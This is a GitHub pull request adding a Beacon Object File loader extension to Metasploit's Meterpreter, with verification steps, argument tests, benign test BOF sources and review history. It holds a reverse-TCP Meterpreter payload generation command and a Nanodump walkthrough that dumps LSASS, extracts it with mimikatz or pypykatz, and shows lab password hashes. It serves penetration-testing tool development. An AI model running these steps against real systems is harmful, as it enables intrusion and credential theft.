Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add TrustedSec's COFFLoader as Meterpreter Extension #16995

Merged
merged 16 commits into from
Sep 30, 2022

Conversation

Invoke-Mimikatz
Copy link

@Invoke-Mimikatz Invoke-Mimikatz commented Sep 7, 2022

This PR adds a new extension for the C (x86/x64) Meterpreter payload. The extension is called bofloader and can be used to execute COFF files (also known as Beacon Object Files) in the context of the Meterpreter session. It currently adds only one command, bof_cmd to Meterpreter.

This PR only includes the Ruby half of the bofloader extension. The C side of the bofloader extension exists in the metasploit-payloads repo. The PR for the C code can be found here.

Verification

  • Clone the metasploit-payloads repo.
  • Compile x64 and x86 bofloader extension DLL's by running make-cmake.bat from Visual Studio command prompt
  • Copy (or symlink) ext_server_bofloader.x64.dll and ext_server_bofloader.x86.dll from the c/meterpreter/output folder into the proper metasploit-framework folder (metasploit-payloads*/data/meterpreter/)
  • Start msfconsole and start a meterpreter session -> use payload/windows/x64/meterpreter_reverse_tcp set lhost eth0 generate -f exe -o meter.exe to_handler
  • After meter.exe is executed and a Meterpreter session established, run load bofloader
  • Using a 64-bit BOF, such as whoami.x64.o, run execute_bof whoami.x64.o
  • View BOF output in meterpreter console
  • For BOFs that require arguments, such as dir.x64.o, specify the appropriate format string of the arguments, then the arguments themselves on the command line. Run with execute_bof dir.x64.o --format-string Zs C:\\ 0

Next Steps

This is a draft PR. Only basic BOF functionality for 32 and 64-bit has been tested. There are more enhancements that should be added to the bofloader extension before it is landed:

  • Convert COFFLoader code into a submodule
  • Add code to check an input file is a correctly formatted COFF file and is of correct architecture for the Meterpreter session
  • Fix bof_cmd arguments and tab completion for input files
  • Either warn the user loading BOFs is memory unsafe, and can crash the session, or add exception handling for buggy BOFs and BOFs with bad user input
  • Test additional BOFs on both 32 and 64-bit Meterpreter sessions
  • Clean up style of my poorly written Ruby code
  • Write bofloader extension documentation

Example Output

meterpreter > load bofloader 
Loading extension bofloader...

                ..:::-::..                
            -=**##########*+=:.           
         :  :+#################+-         
       =*##+:  .=*###############*=       
     :*#######+-. .:=*#############*:     
    =############*=:. .....:-=*######=    
   =########=::+####*          .+#####+   
  :########-    *###-             ....:   
  +########:    +###+           .++++==-  
  *########*.  -#####-         :*#######  
  *##########*########+-.   .-+#########  
  *###########HACK########*############*  
  -#######**######THE#########**#######-  
   +#####:  =########PLANET!#+  :#####*   
    +####*:  :+############+:  .*####*    
     =#####=:   .-=++++=-.   .=#####=     
      :+#####*=:.        .:=*#####*:      
        :+########**++**########+:        
           :=*##############*=-.          
              .::-==++==-::.              

   TrustedSec COFFLoader (by @kev169, @GuhnooPlusLinux, @R0wdyjoe)

Success.
meterpreter > bof_cmd /root/nslookup.x64.o zzs rapid7.com 8.8.8.8 1
A rapid7.com 52.84.18.3
A rapid7.com 52.84.18.49
A rapid7.com 52.84.18.105
A rapid7.com 52.84.18.46

meterpreter >
meterpreter > bof_cmd /root/whoami.x64.o
UserName                SID
====================== ====================================
BORGAR\kclark   S-1-5-21-3010306422-4235424541-3945354764-1107


GROUP INFORMATION                                 Type                     SID                                          Attributes               
================================================= ===================== ============================================= ==================================================
BORGAR\Domain Users                               Group                    S-1-5-21-3010306422-4235424541-3945354764-513 Mandatory group, Enabled by default, Enabled group, 
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Administrators                            Alias                    S-1-5-32-544                                  
BUILTIN\Users                                     Alias                    S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Performance Log Users                     Alias                    S-1-5-32-559                                  Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\INTERACTIVE                          Well-known group         S-1-5-4                                       Mandatory group, Enabled by default, Enabled group, 
CONSOLE LOGON                                     Well-known group         S-1-2-1                                       Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\Authenticated Users                  Well-known group         S-1-5-11                                      Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\This Organization                    Well-known group         S-1-5-15                                      Mandatory group, Enabled by default, Enabled group, 
LOCAL                                             Well-known group         S-1-2-0                                       Mandatory group, Enabled by default, Enabled group, 
BORGAR\Domain Admins                              Group                    S-1-5-21-3010306422-4235424541-3945354764-512 
BORGAR\Organization Management                    Group                    S-1-5-21-3010306422-4235424541-3945354764-1121 Mandatory group, Enabled by default, Enabled group, 
BORGAR\Schema Admins                              Group                    S-1-5-21-3010306422-4235424541-3945354764-518 
BORGAR\Enterprise Admins                          Group                    S-1-5-21-3010306422-4235424541-3945354764-519 
Authentication authority asserted identity        Well-known group         S-1-18-1                                      Mandatory group, Enabled by default, Enabled group, 
BORGAR\Denied RODC Password Replication Group     Alias                    S-1-5-21-3010306422-4235424541-3945354764-572 Mandatory group, Enabled by default, Enabled group, 
Mandatory Label\Medium Mandatory Level            Label                    S-1-16-8192                                   Mandatory group, Enabled by default, Enabled group, 


Privilege Name                Description                                       State                         
============================= ================================================= ===========================
SeShutdownPrivilege           Shut down the system                              Disabled                      
SeChangeNotifyPrivilege       Bypass traverse checking                          Enabled                       
SeUndockPrivilege             Remove computer from docking station              Disabled                      
SeIncreaseWorkingSetPrivilege Increase a process working set                    Disabled                      
SeTimeZonePrivilege           Change the time zone                              Disabled     

meterpreter >

Future Work

In the future, Metasploit could support importing Sliver-compatible JSON files to create BOF aliases.

@skylerknecht
Copy link
Contributor

skylerknecht commented Sep 13, 2022

Argument Test Cases

  • Format string matches the length of provided bof arguments.
meterpreter > execute_bof /home/skyler/git/CS-Situational-Awareness-BOF/SA/dir/dir.x64.o C:\\ 0 --format-string Zs -- --help
[-] Format string must be the same length as arguments.
  • -- delimiter to pass literal arguments to the bof
meterpreter > execute_bof /home/skyler/git/CS-Situational-Awareness-BOF/SA/dir/dir.x64.o C:\\ 0 --format-string ZsZ -- --help
Contents of C:\*:
	08/25/2022 17:43           <dir> $Recycle.Bin
	08/25/2022 08:10           <dir> $WinREAgent
	09/13/2022 10:59           <dir> Config.Msi
	08/22/2022 14:25      <junction> Documents and Settings
	09/13/2022 10:59            8192 DumpStack.log.tmp
	09/13/2022 10:59      2550136832 pagefile.sys
	12/07/2019 01:14           <dir> PerfLogs
	09/13/2022 11:01           <dir> Program Files
	09/06/2022 18:01           <dir> Program Files (x86)
	09/06/2022 18:01           <dir> ProgramData
	08/31/2022 17:17           <dir> Recovery
	09/13/2022 10:59        16777216 swapfile.sys
	09/13/2022 11:58           <dir> System Volume Information
	09/06/2022 18:01           <dir> Users
	08/25/2022 17:42           <dir> Windows
	                      2566922240 Total File Size for 3 File(s)
	                                                     12 Dir(s)
  • format checking to identify the format string type matches the provided argument type
meterpreter > execute_bof /home/skyler/git/CS-Situational-Awareness-BOF/SA/dir/dir.x64.o C:\\ 0 --format-string Zb
[-] Argument #2 was not appropriately padded to an even length string!
meterpreter > execute_bof /home/skyler/git/CS-Situational-Awareness-BOF/SA/dir/dir.x64.o C:\\ C:\\ --format-string Zs
[-] Argument #2 must be a number!
  • file: delimiter to autocomplete local files to be sent as an argument to the bof
meterpreter > execute_bof /home/skyler/git/CS-Situational-Awareness-BOF/SA/dir/dir.x64.o C:\\ 0 --format-string Zb file:/
.cache          etc             lib             lost+found      proc            srv             var
bin             home            lib32           media           root            sys             vmlinuz
boot            initrd.img      lib64           mnt             run             tmp             vmlinuz.old
dev             initrd.img.old  libx32          opt             sbin            usr             

@Invoke-Mimikatz Invoke-Mimikatz marked this pull request as ready for review September 13, 2022 19:23
@Invoke-Mimikatz Invoke-Mimikatz changed the title Draft: Add TrustedSec's COFFLoader as Meterpreter Extension Add TrustedSec's COFFLoader as Meterpreter Extension Sep 13, 2022
@@ -0,0 +1,69 @@
/*
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This file came from https://github.com/Cobalt-Strike/bof_template where it's been published under the Apache 2.0 license.

@smcintyre-r7
Copy link
Contributor

Here are some BOF files I used while testing this:

These files I wrote to test various things.

BadFunction.c

Shows that if the file refers to a function that doesn't exist (NETAPI32$DoesNotExist) that the session does not crash.

#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"

DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DoesNotExist(LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
// https://www.cobaltstrike.com/help-beacon-object-files
void go(char * args, int alen) {
	DWORD dwRet;
	PDOMAIN_CONTROLLER_INFO pdcInfo;

	NETAPI32$DoesNotExist(NULL);
	dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
	if (ERROR_SUCCESS == dwRet) {
        BeaconPrintf(CALLBACK_OUTPUT, "Domain Forest Name: %s\n"
        "Domain: %s\n"
        "Domain Controller: %s\n"
        "Domain Controller Address: %s\n"
        "DC Site Name: %s\n",
        pdcInfo->DnsForestName,
        pdcInfo->DomainName,
        pdcInfo->DomainControllerName,
        pdcInfo->DomainControllerAddress,
        pdcInfo->DcSiteName);        
	}

	NETAPI32$NetApiBufferFree(pdcInfo);
}
ArgumentTest.c

Useful for testing that arguments that share the name of flags can still be forwarded to the BOF file.

#include <windows.h>
#include <dsgetdc.h>
#include "beacon.h"

#define printf(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)

strcmp (const char *p1, const char *p2)
{
	const unsigned char *s1 = (const unsigned char *) p1;
	const unsigned char *s2 = (const unsigned char *) p2;
	unsigned char c1, c2;
	
	do {
		c1 = (unsigned char) *s1++;
		c2 = (unsigned char) *s2++;
		if (c1 == '\0')
			return c1 - c2;
	} while (c1 == c2);

	return c1 - c2;
}

// https://www.cobaltstrike.com/help-beacon-object-files
void go(char * args, int alen) {
	BeaconPrintf(CALLBACK_OUTPUT, "[CALLBACK_OUTPUT]: give me a format string with --format-string\n");

	datap parser;
	BeaconDataParse(&parser, args, alen);
	char *arg1 = BeaconDataExtract(&parser, NULL);
	if ((arg1 == NULL) || (strcmp(arg1, "--format-string"))) {
		BeaconPrintf(CALLBACK_OUTPUT, "invalid usage, must specify --format-string");
		return;
	}
	BeaconPrintf(CALLBACK_OUTPUT, "good job!");
} 
OutputStreams.c Shows how the output streams are handled and how a binary argument is processed.
#include <windows.h>
#include <dsgetdc.h>
#include "beacon.h"

#define printf(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)

void DumpHex(const void* data, size_t size) {
	char ascii[17];
	size_t i, j;
	ascii[16] = '\0';
	for (i = 0; i < size; ++i) {
		printf("%02X ", ((unsigned char*)data)[i]);
		if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
			ascii[i % 16] = ((unsigned char*)data)[i];
		} else {
			ascii[i % 16] = '.';
		}
		if ((i+1) % 8 == 0 || i+1 == size) {
			printf(" ");
			if ((i+1) % 16 == 0) {
				printf("|  %s \n", ascii);
			} else if (i+1 == size) {
				ascii[(i+1) % 16] = '\0';
				if ((i+1) % 16 <= 8) {
					printf(" ");
				}
				for (j = (i+1) % 16; j < 16; ++j) {
					printf("   ");
				}
				printf("|  %s \n", ascii);
			}
		}
	}
}

// https://www.cobaltstrike.com/help-beacon-object-files
void go(char * args, int alen) {
	BeaconPrintf(CALLBACK_OUTPUT, "[CALLBACK_OUTPUT]: message\n");
	BeaconPrintf(CALLBACK_ERROR, "[CALLBACK_ERROR]: message\n");

	datap parser;
	BeaconDataParse(&parser, args, alen);
	int data_len = 0;
	char * data = BeaconDataExtract(&parser, &data_len);
	if (data) {
		DumpHex(data, data_len);
	}
} 

@Invoke-Mimikatz
Copy link
Author

Nanodump usage example

meterpreter > load bofloader
Loading extension bofloader...

meterpreter                  
   ▄▄▄▄    ▒█████    █████▒  
  ▓█████▄ ▒██▒  ██▒▓██   ▒   
  ▒██▒ ▄██▒██░  ██▒▒████ ░   
  ▒██░█▀  ▒██   ██░░▓█▒  ░   
  ░▓█  ▀█▓░ ████▓▒░░▒█░      
  ░▒▓███▀▒░ ▒░▒░▒░  ▒ ░      
  ▒░▒   ░   ░ ▒ ▒░  ░     ~ by @kev169, @GuhnooPluxLinux, @R0wdyJoe, @skylerknecht ~
   ░    ░ ░ ░ ░ ▒   ░ ░      
   ░          ░ ░  loader    
        ░                    

Success.
meterpreter > ps lsass
Filtering on 'lsass'

Process List
============

 PID  PPID  Name       Arch  Session  User                 Path
 ---  ----  ----       ----  -------  ----                 ----
 712  556   lsass.exe  x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\lsass.exe

meterpreter > execute_bof nanodump.x64.o --format-string iziiiiiiiiziiiz 712 nanodump.dmp 1 1 0 0 0 0 0 0 "" 0 0 0 ""
Done, to download the dump run:
download nanodump.dmp
to get the secretz run:
python3 -m pypykatz lsa minidump nanodump.dmp
mimikatz.exe "sekurlsa::minidump nanodump.dmp" "sekurlsa::logonPasswords full" exit
meterpreter > 
meterpreter > download nanodump.dmp 
[*] Downloading: nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 1.00 MiB of 11.56 MiB (8.65%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 2.00 MiB of 11.56 MiB (17.31%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 3.00 MiB of 11.56 MiB (25.96%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 4.00 MiB of 11.56 MiB (34.62%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 5.00 MiB of 11.56 MiB (43.27%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 6.00 MiB of 11.56 MiB (51.92%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 7.00 MiB of 11.56 MiB (60.58%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 8.00 MiB of 11.56 MiB (69.23%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 9.00 MiB of 11.56 MiB (77.89%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 10.00 MiB of 11.56 MiB (86.54%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 11.00 MiB of 11.56 MiB (95.2%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] Downloaded 11.56 MiB of 11.56 MiB (100.0%): nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
[*] download   : nanodump.dmp -> /mnt/hgfs/vmshare/nanodump.dmp
meterpreter > 
└─$ pypykatz lsa minidump nanodump.dmp # Extract the minidump file with pypykatz
INFO:root:Parsing file nanodump.dmp
FILE: ======== nanodump.dmp =======
== LogonSession ==
authentication_id 495910 (79126)
session_id 1
username kclark
domainname BORGAR
logon_server DC
logon_time 2022-09-13T20:01:10.773841+00:00
sid S-1-5-21-3010306422-4235424541-3945354764-1107
luid 495910
        == MSV ==
                Username: kclark
                Domain: BORGAR
                LM: NA
                NT: 6a46de92fa2b779a0364e9d522ed648b
                SHA1: 7294fa86a6bd7939aac4f37ed52797d73073edd2
                DPAPI: a7a96b4cf2ecd311c9f06eea8f9239ce
...

Nanodump argument signature taken from here.

@smcintyre-r7 smcintyre-r7 force-pushed the bof_loader branch 2 times, most recently from 3f2606d to 0291632 Compare September 22, 2022 21:20
@smcintyre-r7 smcintyre-r7 force-pushed the bof_loader branch 4 times, most recently from 4c9012d to fd6ed5b Compare September 26, 2022 13:00
@bwatters-r7 bwatters-r7 self-assigned this Sep 29, 2022
@smcintyre-r7 smcintyre-r7 removed their assignment Sep 29, 2022
@bwatters-r7 bwatters-r7 merged commit c17c78b into rapid7:master Sep 30, 2022
@bwatters-r7
Copy link
Contributor

Release Notes

This PR adds a new extension for the C (x86/x64) Meterpreter payload. The extension is called bofloader and can be used to execute COFF files (also known as Beacon Object Files) in the context of the Meterpreter session. It currently adds only one command, bof_cmd to Meterpreter.

@bwatters-r7 bwatters-r7 removed the blocked Blocked by one or more additional tasks label Sep 30, 2022
@Invoke-Mimikatz Invoke-Mimikatz deleted the bof_loader branch January 9, 2023 19:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

5 participants